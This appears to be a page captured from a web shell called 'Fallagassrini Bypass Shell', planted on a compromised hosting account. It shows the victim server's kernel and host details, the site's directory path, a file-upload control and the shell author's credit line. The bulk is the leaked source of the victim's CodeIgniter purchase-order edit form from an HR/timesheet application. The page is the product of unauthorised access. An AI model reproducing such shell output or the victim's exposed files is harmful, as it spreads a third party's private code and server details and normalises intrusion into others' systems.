? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/hr/application/views/Timesheet/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/hr/application/views/Timesheet/edit_purchase_order.php

<?php
    if ( ! defined('BASEPATH')) exit('No direct script access allowed');
    $this->load->view('documentreadyfunctions');
?>

<link href="<?=base_url()?>assets/css/tablesortnew.css" rel="stylesheet" type="text/css"/>

<div class="select-bar">
    <label><img src="<?=base_url()?>assets/images/backbutton.png" title="Back" class="clickimage" onclick="viewdata('timesheet','viewintimesheetsearch','search_purchase_order','view_purchase_order','<?=$_SESSION['pagenum'];?>')" alt="Back" align = "center" width="25" height="25"  />
    </label>
    <span class="heading">Updating Purchase Order</span>
</div>

<fieldset>
    <?php
        $attributes=array('id'=>'validateform','class'=>'customForm');
        echo form_open('timesheet/addintimesheet/update_purchase_order/view_purchase_order/1',$attributes);
        $trade_list=$this->mastermodel->getdatas('trade','trade_name');
        $site_list=$this->mastermodel->getdatas('site','site_name');
    ?>
    <ul>
        <li>
             <table class="sortnew">
                <tr>
                    <th colspan="2">Purchase Order Information</th>
                </tr>
                <tr>
                    <td>Company Name</td>
                    <td>
                     <select name="purchase_order_company_name" id="purchase_order_company_name" class="required">
                     <?php
                        $co_list=$this->mastermodel->getenumvalues('payroll_purchase_order','purchase_order_company_name');
                        foreach($co_list['val'] as $co)
                        {
                            echo "<option value='". $co . "'";if($viewinfo->purchase_order_company_name==$co){echo "selected";} echo ">" . $co . "</option>";
                        }
                     ?>
                 </select>
                    </td>
                </tr>
                <tr>
                    <td>Customer Name</td>
                    <td>
                         <?=$this->mastermodel->getSingleFieldValue('payroll_customer','customer_name','customer_id',$viewinfo->customer_id);?>
                    </td>
                </tr>
                <tr>
                    <td>Job Code</td>
                    <td>
                        <input type="text"  value="<?=$viewinfo->job_code;?>" class="required" name="job_code"/>
                    </td>
                </tr>
                <tr>
                    <td>Subject</td>
                    <td>
                        <?php
                              $data = array(
                              'name'        => 'purchase_order_subject',
                              'id'          => 'purchase_order_subject',
                              'class'       =>'required',
                              'value'       => $viewinfo->purchase_order_subject
                              );
                              echo form_input($data).form_error($data);
                         ?>
                    </td>
                </tr>
                <tr>
                    <td>Purchase Order Date</td>
                    <td>
                        <div id="multi">
                             <?php
                                  $data = array(
                                  'name'        => 'purchase_order_date',
                                  'id'          => 'purchase_order_date',
                                  'class'       => 'required medium',
                                  'value'       => $this->mastermodel->convertdatenormalformat($viewinfo->purchase_order_date)
                                  );
                                  echo form_input($data).form_error($data);
                             ?>
                             <img src="<?=base_url()?>assets/images/icons/calendar.png"  alt="Click to popup the clendar!" />
                         </div>
                    </td>
                </tr>
                <tr>
                    <td>Customer Purchase Order No</td>
                    <td>
                        <?php
                      $data = array(
                      'name'        => 'customer_purchase_order_no',
                      'id'          => 'customer_purchase_order_no',
                      'value'       => $viewinfo->customer_purchase_order_no,
                      'class'       => 'required'
                      );
                      echo form_input($data).form_error($data);
                 ?>
                    </td>
                </tr>
                <tr>
                    <td>Site</td>
                    <td>
                        <select name="purchase_order_site_id" id="purchase_order_site_id" class="required" style="width:120px;">
                             <option value="">Select</option>
                             <?php

                                foreach($site_list as $site)
                                {
                                    echo "<option value='". $site['site_id'] . "'";if($viewinfo->purchase_order_site_id==$site['site_id']){echo "selected";} echo ">" . $site['site_name'] . "</option>";
                                }
                             ?>
                         </select>
                    </td>
                </tr>
                <tr>
                    <td>Payment Terms</td>
                    <td>
                         <?php
                          $data = array(
                          'name'        => 'purchase_order_payment_terms',
                          'id'          => 'purchase_order_payment_terms',
                          'rows'          => '10',
                          'cols'          => '5',
                          'style'       => 'width:80%',
                          'value'       => $viewinfo->purchase_order_payment_terms
                          );
                          echo form_textarea($data).form_error($data);
                        ?>
                    </td>
                </tr>
                <tr>
                    <td>Upload Document</td>
                    <td>
                        <?php
                              $data = array(
                              'name'        => 'purchase_order_document_name',
                              'id'          => 'purchase_order_document_name',
                              'value'       => $viewinfo->purchase_order_document_name
                              );
                              $data1 = array(
                              'name'        => 'purchase_order_document_doc',
                              'id'          => 'purchase_order_document_doc'
                              );
                              echo form_input($data).form_error($data);
                              echo form_upload($data1).form_error($data1);

                         ?>
                        <?php
                        if($viewinfo->purchase_order_document_doc != "")
                        {
                        ?>
                        <a href="<?=base_url()?>assets/uploads/<?=$viewinfo->purchase_order_document_doc;?>">Download</a>
                        <?php
                            }
                        ?>
                    </td>
                </tr>
            </table>
            <table class="sortnew">
                <tr>
                    <th colspan="2">Job Information</th>
                </tr>

                <tr>
                    <td>Start Date</td>
                    <td>
                         <div id="multi">
                             <?php
                                  $data = array(
                                  'name'        => 'purchase_order_start_date',
                                  'id'          => 'purchase_order_start_date',
                                  'class'       =>  'medium',
                                  'value'       => $this->mastermodel->convertdatenormalformat($viewinfo->purchase_order_start_date)
                                  );
                                  echo form_input($data).form_error($data);
                             ?>
                             <img src="<?=base_url()?>assets/images/icons/calendar.png"  alt="Click to popup the clendar!" />
                         </div>
                    </td>
                </tr>
                <tr>
                    <td>End Date</td>
                    <td>
                        <div id="multi">
                             <?php
                                  $data = array(
                                  'name'        => 'purchase_order_end_date',
                                  'id'          => 'purchase_order_end_date',
                                  'class'       =>  'medium',
                                  'value'       => $this->mastermodel->convertdatenormalformat($viewinfo->purchase_order_end_date)
                                  );
                                  echo form_input($data).form_error($data);
                             ?>
                             <img src="<?=base_url()?>assets/images/icons/calendar.png"  alt="Click to popup the clendar!" />
                         </div>
                    </td>
                </tr>
                
                <tr>
                    <td>Basic Hours</td>
                    <td>
                             <?php
                      $data = array(
                      'name'        => 'purchase_order_hours_basic',
                      'id'          => 'purchase_order_hours_basic',
                      'value'       => $viewinfo->purchase_order_hours_basic,
                      'class'       => 'required'
                      );
                      echo form_input($data).form_error($data);
                 ?>
                    </td>
                </tr>
                <tr>
                    <td>Transportation</td>
                    <td>
                        <select name="purchase_order_transportation" id="purchase_order_transportation" class="required">
                     <option value="">Select</option>
                     <?php
                        $transportation_list=$this->mastermodel->getenumvalues('payroll_purchase_order','purchase_order_transportation');
                        foreach($transportation_list['val'] as $transportation)
                        {
                            echo "<option value='". $transportation . "'";if($viewinfo->purchase_order_transportation==$transportation){echo "selected";} echo ">" . $transportation . "</option>";
                        }
                     ?>
                 </select>
                    </td>
                </tr>
                <tr>
                    <td>Food Allowance</td>
                    <td>
                        <select name="purchase_order_food_allowance" id="purchase_order_food_allowance" class="required">
                     <option value="">Select</option>
                     <?php
                        $fa_list=$this->mastermodel->getenumvalues('payroll_purchase_order','purchase_order_food_allowance');
                        foreach($fa_list['val'] as $fa)
                        {
                            echo "<option value='". $fa . "'";if($viewinfo->purchase_order_food_allowance==$fa){echo "selected";} echo ">" . $fa . "</option>";
                        }
                     ?>
                 </select>
                    </td>
                </tr>
                <tr>
                    <td>Accommodation</td>
                    <td>
                        <select name="purchase_order_accomodation" id="purchase_order_accomodation" class="required">
                     <option value="">Select</option>
                     <?php
                        $accom_list=$this->mastermodel->getenumvalues('payroll_purchase_order','purchase_order_accomodation');
                        foreach($accom_list['val'] as $accomodation)
                        {
                            echo "<option value='". $accomodation . "'";if($viewinfo->purchase_order_accomodation==$accomodation){echo "selected";} echo ">" . $accomodation . "</option>";
                        }
                     ?>
                 </select>
                    </td>
                </tr>
                 <tr>
                    <td>Job Status</td>
                    <td>
                     <select name="purchase_order_status" id="purchase_order_status" class="required">
                     <option value="">Select</option>
                     <?php
                        $status_list=$this->mastermodel->getenumvalues('payroll_purchase_order','purchase_order_status');
                        foreach($status_list['val'] as $status)
                        {
                            echo "<option value='". $status . "'";if($viewinfo->purchase_order_status==$status){echo "selected";} echo ">" . $status . "</option>";
                        }
                     ?>
                 </select>
                    </td>
                </tr>
                <tr>
                    <td>Remarks</td>
                    <td>
                        <?php
                      $data = array(
                      'name'        => 'purchase_order_remarks',
                      'id'          => 'purchase_order_remarks',
                      'rows'          => '10',
                      'cols'          => '5',
                      'style'       => 'width:80%',
                      'value'       => $viewinfo->purchase_order_remarks
                      );
                      echo form_textarea($data).form_error($data);
                 ?>
                    </td>
                </tr>

            </table>
               
                
        </li>
        <li>
            <table class="sort" cellpadding="0" cellspacing="0" width="200px;">
                <tr>
                    <th>Trade</th>
                    <th>NOS</th>
                    <th>Rate</th>
                    <th>OT Type</th>
                    <th>OT Rate (%)</th>
                    <th>HOT Rate (%)</th>
                    <th width="20%">
                        <input style="width:75px;" type="button" style="width:150px;" id="button2" value="Add More" class="addRow" title="Add Row"/>
                    </th>

                </tr>
                <?php
                    $employee_list=$this->mastermodel->get_data('payroll_purchase_order_details',$viewinfo->purchase_order_id,'purchase_order_id');
                    $i=1;
                    if(!empty ($employee_list))
                    {
                        foreach ($employee_list as $employee)
                        {
                    ?>
                    <tr>
                      <td>
                            <select name="purchase_order_trade_id<?=$i;?>" id="purchase_order_trade_id<?=$i;?>" class="required">
                             <option value="">Select</option>
                             <?php

                                foreach($trade_list as $trade)
                                {
                                    echo "<option value='". $trade['trade_id'] . "'";if($employee['purchase_order_trade_id']==$trade['trade_id']){echo "selected";} echo ">" . $trade['trade_name'] . "</option>";
                                }
                             ?>
                         </select>
                      </td>
                      <td><input type="text" class="required small number" value="<?=$employee['purchase_order_manpower_no'];?>" name="purchase_order_manpower_no<?=$i;?>"></td>
                      <td><input type="text" class="required small number" value="<?=$employee['purchase_order_rate'];?>" id="por<?=$i;?>" name="purchase_order_rate<?=$i;?>"></td>
                      <td>
                          <select class="small required" name="purchase_order_ot_type<?=$i;?>" id="pt<?=$i;?>" onchange="enableot(this)" >
                              <option value="0"<?php if($employee['purchase_order_ot_type']==0)echo"selected";?>>Flat</option>
                              <option value="1"<?php if($employee['purchase_order_ot_type']==1)echo"selected";?>>OT</option>
                          </select>
                      </td>
                      <td><input type="text" class="<?php if($employee['purchase_order_ot_type']==1)echo"required";?> small number"<?php if($employee['purchase_order_ot_type']==0)echo"readonly";?> <?php if($employee['purchase_order_ot_type']==1){?>value="<?=$employee['purchase_order_ot_rate'];?>"<?php } ?> id="purchase_order_ot_rate<?=$i;?>" name="purchase_order_ot_rate<?=$i;?>" /></td>
                      <td><input type="text" class="<?php if($employee['purchase_order_ot_type']==1)echo"required";?> small number"<?php if($employee['purchase_order_ot_type']==0)echo"readonly";?> <?php if($employee['purchase_order_ot_type']==1){?>value="<?=$employee['purchase_order_hot_rate'];?>"<?php } ?> id="purchase_order_hot_rate<?=$i;?>" name="purchase_order_hot_rate<?=$i;?>" /></td>
                      <td>
                          <img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                      </td>
                    </tr>
                    <?php
                    $i++;
                        }
                    }
                    else
                    {

                        ?>
                     <tr>
               <td>
                    <select name="purchase_order_trade_id" id="purchase_order_trade_id" class="required">
                     <option value="">Select</option>
                     <?php

                        foreach($trade_list as $trade)
                        {
                            echo "<option value='". $trade['trade_id'] . "'>" . $trade['trade_name'] . "</option>";
                        }
                     ?>
                 </select>
              </td>
              <td><input type="text" class="required small number" name="purchase_order_manpower_no"></td>
              <td><input type="text" class="required small number" name="purchase_order_rate" id="por" onchange="setotrate(this)"></td>
              <td>
                  <select class="small required" name="purchase_order_ot_type" id="pt" onchange="enableot(this)" >
                      <option value="0">Flat</option>
                      <option value="1">OT</option>
                  </select>

              </td>
              <td><input type="text" class="small number" readonly name="purchase_order_ot_rate" id="purchase_order_ot_rate" /></td>
              <td><input type="text" class="small number" readonly name="purchase_order_hot_rate" id="purchase_order_hot_rate" /></td>
              <td>
                  <img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
              </td>
            </tr>
            <?php
                    }
                    ?>
            </table>
        </li>
        <li>
            <input type="hidden" name="tab_name" value="payroll_purchase_order"/>
            <input type="hidden" name="resfunction" value="search_purchase_order"/>
            <input type="hidden" name="purchase_order_id" value="<?=$viewinfo->purchase_order_id;?>"/>
        </li>

       
        <li>
            <label for="submit">&nbsp;</label>
            <button type="submit" class="clickimage" onclick="addformdata('validateform')">Save</button>
        </li>
    </ul>
<?php echo form_close();?>
</fieldset>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net